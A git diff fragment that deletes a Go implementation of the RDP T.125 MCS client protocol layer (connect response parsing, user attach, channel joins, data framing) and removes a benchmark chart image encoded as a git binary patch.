http://www.itu.int/rec/T-REC-T.125-199802-I/en page 25 - * @returns {asn1.univ.Sequence} - */ - -type ConnectResponse struct { - result uint8 - calledConnectId int - domainParameters *DomainParameters - userData []byte -} - -func NewConnectResponse(userData []byte) *ConnectResponse { - return &ConnectResponse{0, - 0, - NewDomainParameters(22, 3, 0, 1, 0, 1, 0xfff8, 2), - userData} -} - -func ReadConnectResponse(r io.Reader) (*ConnectResponse, error) { - c := &ConnectResponse{} - var err error - _, err = ber.ReadApplicationTag(MCS_TYPE_CONNECT_RESPONSE, r) - if err != nil { - return nil, err - } - c.result, err = ber.ReadEnumerated(r) - if err != nil { - return nil, err - } - - c.calledConnectId, err = ber.ReadInteger(r) - c.domainParameters, err = ReadDomainParameters(r) - if err != nil { - return nil, err - } - if !ber.ReadUniversalTag(ber.TAG_OCTET_STRING, false, r) { - return nil, errors.New("invalid expected BER tag") - } - dataLen, _ := ber.ReadLength(r) - c.userData, err = core.ReadBytes(dataLen, r) - return c, err -} - -type MCSChannelInfo struct { - ID uint16 - Name string -} - -type MCS struct { - emission.Emitter - transport core.Transport - recvOpCode MCSDomainPDU - sendOpCode MCSDomainPDU - channels []MCSChannelInfo -} - -func NewMCS(t core.Transport, recvOpCode MCSDomainPDU, sendOpCode MCSDomainPDU) *MCS { - m := &MCS{ - *emission.NewEmitter(), - t, - recvOpCode, - sendOpCode, - []MCSChannelInfo{{MCS_GLOBAL_CHANNEL_ID, GLOBAL_CHANNEL_NAME}}, - } - - m.transport.On("close", func() { - m.Emit("close") - }).On("error", func(err error) { - m.Emit("error", err) - }) - return m -} - -func (x *MCS) Read(b []byte) (n int, err error) { - return x.transport.Read(b) -} - -func (x *MCS) Write(b []byte) (n int, err error) { - return x.transport.Write(b) -} - -func (m *MCS) Close() error { - return m.transport.Close() -} - -type MCSClient struct { - *MCS - clientCoreData *gcc.ClientCoreData - clientNetworkData *gcc.ClientNetworkData - clientSecurityData *gcc.ClientSecurityData - - serverCoreData *gcc.ServerCoreData - serverNetworkData *gcc.ServerNetworkData - serverSecurityData *gcc.ServerSecurityData - - channelsConnected int - userId uint16 - nbChannelRequested int -} - -func NewMCSClient(t core.Transport) *MCSClient { - c := &MCSClient{ - MCS: NewMCS(t, SEND_DATA_INDICATION, SEND_DATA_REQUEST), - clientCoreData: gcc.NewClientCoreData(), - clientNetworkData: gcc.NewClientNetworkData(), - clientSecurityData: gcc.NewClientSecurityData(), - userId: 1 + MCS_USERCHANNEL_BASE, - } - c.transport.On("connect", c.connect) - return c -} - -func (c *MCSClient) SetClientDesktop(width, height uint16) { - c.clientCoreData.DesktopWidth = width - c.clientCoreData.DesktopHeight = height -} - -func (c *MCSClient) SetClientDynvcProtocol() { - c.clientCoreData.EarlyCapabilityFlags = gcc.RNS_UD_CS_SUPPORT_DYNVC_GFX_PROTOCOL - c.clientNetworkData.AddVirtualChannel(drdynvc.ChannelName, drdynvc.ChannelOption) -} - -func (c *MCSClient) SetClientRemoteProgram() { - c.clientNetworkData.AddVirtualChannel(rail.ChannelName, rail.ChannelOption) -} - -func (c *MCSClient) SetClientCliprdr() { - //c.clientNetworkData.AddVirtualChannel(cliprdr.ChannelName, cliprdr.ChannelOption) -} - -func (c *MCSClient) connect(selectedProtocol uint32) { - glog.Debug("mcs client on connect", selectedProtocol) - c.clientCoreData.ServerSelectedProtocol = selectedProtocol - - glog.Debugf("clientCoreData:%+v", c.clientCoreData) - glog.Debugf("clientNetworkData:%+v", c.clientNetworkData) - glog.Debugf("clientSecurityData:%+v", c.clientSecurityData) - // sendConnectclientCoreDataInitial - userDataBuff := bytes.Buffer{} - userDataBuff.Write(c.clientCoreData.Pack()) - userDataBuff.Write(c.clientNetworkData.Pack()) - userDataBuff.Write(c.clientSecurityData.Pack()) - - ccReq := gcc.MakeConferenceCreateRequest(userDataBuff.Bytes()) - connectInitial := NewConnectInitial(ccReq) - connectInitialBerEncoded := connectInitial.BER() - - dataBuff := &bytes.Buffer{} - ber.WriteApplicationTag(uint8(MCS_TYPE_CONNECT_INITIAL), len(connectInitialBerEncoded), dataBuff) - dataBuff.Write(connectInitialBerEncoded) - - _, err := c.transport.Write(dataBuff.Bytes()) - if err != nil { - c.Emit("error", errors.New(fmt.Sprintf("mcs sendConnectInitial write error %v", err))) - return - } - glog.Debug("mcs wait for data event") - c.transport.Once("data", c.recvConnectResponse) -} - -func (c *MCSClient) recvConnectResponse(s []byte) { - glog.Trace("mcs recvConnectResponse", hex.EncodeToString(s)) - cResp, err := ReadConnectResponse(bytes.NewReader(s)) - if err != nil { - c.Emit("error", errors.New(fmt.Sprintf("ReadConnectResponse %v", err))) - return - } - // record server gcc block - serverSettings := gcc.ReadConferenceCreateResponse(cResp.userData) - for _, v := range serverSettings { - switch v.(type) { - case *gcc.ServerSecurityData: - c.serverSecurityData = v.(*gcc.ServerSecurityData) - - case *gcc.ServerCoreData: - c.serverCoreData = v.(*gcc.ServerCoreData) - - case *gcc.ServerNetworkData: - c.serverNetworkData = v.(*gcc.ServerNetworkData) - - default: - err := errors.New(fmt.Sprintf("unhandle server gcc block %v", reflect.TypeOf(v))) - glog.Error(err) - c.Emit("error", err) - return - } - } - glog.Debugf("serverSecurityData: %+v", c.serverSecurityData) - glog.Debugf("serverCoreData: %+v", c.serverCoreData) - glog.Debugf("serverNetworkData: %+v", c.serverNetworkData) - glog.Debug("mcs sendErectDomainRequest") - c.sendErectDomainRequest() - - glog.Debug("mcs sendAttachUserRequest") - c.sendAttachUserRequest() - - c.transport.Once("data", c.recvAttachUserConfirm) -} - -func (c *MCSClient) sendErectDomainRequest() { - buff := &bytes.Buffer{} - writeMCSPDUHeader(ERECT_DOMAIN_REQUEST, 0, buff) - per.WriteInteger(0, buff) - per.WriteInteger(0, buff) - c.transport.Write(buff.Bytes()) -} - -func (c *MCSClient) sendAttachUserRequest() { - buff := &bytes.Buffer{} - writeMCSPDUHeader(ATTACH_USER_REQUEST, 0, buff) - c.transport.Write(buff.Bytes()) -} - -func (c *MCSClient) recvAttachUserConfirm(s []byte) { - glog.Debug("mcs recvAttachUserConfirm", hex.EncodeToString(s)) - r := bytes.NewReader(s) - - option, err := core.ReadUInt8(r) - if err != nil { - c.Emit("error", err) - return - } - - if !readMCSPDUHeader(option, ATTACH_USER_CONFIRM) { - c.Emit("error", errors.New("NODE_RDP_PROTOCOL_T125_MCS_BAD_HEADER")) - return - } - - e, err := per.ReadEnumerates(r) - if err != nil { - c.Emit("error", err) - return - } - if e != 0 { - c.Emit("error", errors.New("NODE_RDP_PROTOCOL_T125_MCS_SERVER_REJECT_USER'")) - return - } - - userId, _ := per.ReadInteger16(r) - userId += MCS_USERCHANNEL_BASE - c.userId = userId - - c.channels = append(c.channels, MCSChannelInfo{userId, "user"}) - c.connectChannels() -} - -func (c *MCSClient) connectChannels() { - glog.Debug("mcs connectChannels:", c.channelsConnected, ":", len(c.channels)) - if c.channelsConnected == len(c.channels) { - if c.nbChannelRequested < int(c.serverNetworkData.ChannelCount) { - //static virtual channel - chanId := c.serverNetworkData.ChannelIdArray[c.nbChannelRequested] - c.nbChannelRequested++ - c.sendChannelJoinRequest(chanId) - c.transport.Once("data", c.recvChannelJoinConfirm) - return - } - c.transport.On("data", c.recvData) - // send client and sever gcc informations callback to sec - clientData := make([]interface{}, 0) - clientData = append(clientData, c.clientCoreData) - clientData = append(clientData, c.clientSecurityData) - clientData = append(clientData, c.clientNetworkData) - - serverData := make([]interface{}, 0) - serverData = append(serverData, c.serverCoreData) - serverData = append(serverData, c.serverSecurityData) - glog.Debug("msc connectChannels callback to sec") - c.Emit("connect", clientData, serverData, c.userId, c.channels) - return - } - - // sendChannelJoinRequest - glog.Debug("sendChannelJoinRequest:", c.channels[c.channelsConnected].Name) - c.sendChannelJoinRequest(c.channels[c.channelsConnected].ID) - - c.transport.Once("data", c.recvChannelJoinConfirm) -} - -func (c *MCSClient) sendChannelJoinRequest(channelId uint16) { - glog.Debug("mcs sendChannelJoinRequest", channelId) - buff := &bytes.Buffer{} - writeMCSPDUHeader(CHANNEL_JOIN_REQUEST, 0, buff) - per.WriteInteger16(c.userId-MCS_USERCHANNEL_BASE, buff) - per.WriteInteger16(channelId, buff) - c.transport.Write(buff.Bytes()) -} - -func (c *MCSClient) recvData(s []byte) { - glog.Trace("msc on data recvData:", hex.EncodeToString(s)) - - r := bytes.NewReader(s) - option, err := core.ReadUInt8(r) - if err != nil { - c.Emit("error", err) - return - } - - if readMCSPDUHeader(option, DISCONNECT_PROVIDER_ULTIMATUM) { - c.Emit("error", errors.New("MCS DISCONNECT_PROVIDER_ULTIMATUM")) - c.transport.Close() - return - } else if !readMCSPDUHeader(option, c.recvOpCode) { - c.Emit("error", errors.New("Invalid expected MCS opcode receive data")) - return - } - - userId, _ := per.ReadInteger16(r) - userId += MCS_USERCHANNEL_BASE - - channelId, _ := per.ReadInteger16(r) - per.ReadEnumerates(r) - size, _ := per.ReadLength(r) - // channel ID doesn't match a requested layer - found := false - channelName := "" - for _, channel := range c.channels { - if channel.ID == channelId { - found = true - channelName = channel.Name - break - } - } - if !found { - glog.Error("mcs receive data for an unconnected layer") - return - } - left, err := core.ReadBytes(int(size), r) - if err != nil { - c.Emit("error", errors.New(fmt.Sprintf("mcs recvData get data error %v", err))) - return - } - glog.Debugf("mcs emit channel<%s>", channelName) - c.Emit("sec", channelName, left) -} - -func (c *MCSClient) recvChannelJoinConfirm(s []byte) { - glog.Debug("mcs recvChannelJoinConfirm", hex.EncodeToString(s)) - r := bytes.NewReader(s) - option, err := core.ReadUInt8(r) - if err != nil { - c.Emit("error", err) - return - } - - if !readMCSPDUHeader(option, CHANNEL_JOIN_CONFIRM) { - c.Emit("error", errors.New("NODE_RDP_PROTOCOL_T125_MCS_WAIT_CHANNEL_JOIN_CONFIRM")) - return - } - - confirm, _ := per.ReadEnumerates(r) - userId, _ := per.ReadInteger16(r) - userId += MCS_USERCHANNEL_BASE - - if c.userId != userId { - c.Emit("error", errors.New("NODE_RDP_PROTOCOL_T125_MCS_INVALID_USER_ID")) - return - } - - channelId, _ := per.ReadInteger16(r) - if (confirm != 0) && (channelId == uint16(MCS_GLOBAL_CHANNEL_ID) || channelId == c.userId) { - c.Emit("error", errors.New("NODE_RDP_PROTOCOL_T125_MCS_SERVER_MUST_CONFIRM_STATIC_CHANNEL")) - return - } - glog.Debug("Confirm channelId:", channelId) - if confirm == 0 { - for i := 0; i < int(c.serverNetworkData.ChannelCount); i++ { - if channelId == c.serverNetworkData.ChannelIdArray[i] { - var t MCSChannelInfo - t.ID = channelId - t.Name = string(c.clientNetworkData.ChannelDefArray[i].Name[:]) - c.channels = append(c.channels, t) - } - } - } - c.channelsConnected++ - c.connectChannels() -} - -func (c *MCSClient) Pack(data []byte, channelId uint16) []byte { - buff := &bytes.Buffer{} - writeMCSPDUHeader(c.sendOpCode, 0, buff) - per.WriteInteger16(c.userId-MCS_USERCHANNEL_BASE, buff) - per.WriteInteger16(channelId, buff) - core.WriteUInt8(0x70, buff) - per.WriteLength(len(data), buff) - core.WriteBytes(data, buff) - glog.Trace("MCSClient write", channelId, ":", hex.EncodeToString(buff.Bytes())) - return buff.Bytes() -} - -func (c *MCSClient) Write(data []byte) (n int, err error) { - data = c.Pack(data, c.channels[0].ID) - return c.transport.Write(data) -} - -func (c *MCSClient) SendToChannel(channel string, data []byte) (n int, err error) { - channelId := c.channels[0].ID - for _, ch := range c.channels { - if channel == ch.Name { - channelId = ch.ID - break - } - } - - data = c.Pack(data, channelId) - return c.transport.Write(data) -} diff --git a/tools/perftest/results/benchmarks/benchmark_chart.png b/tools/perftest/results/benchmarks/benchmark_chart.png deleted file mode 100644 index 26acc1f4a063090084f3a1dd95002d6641c51ca3..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 257617 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 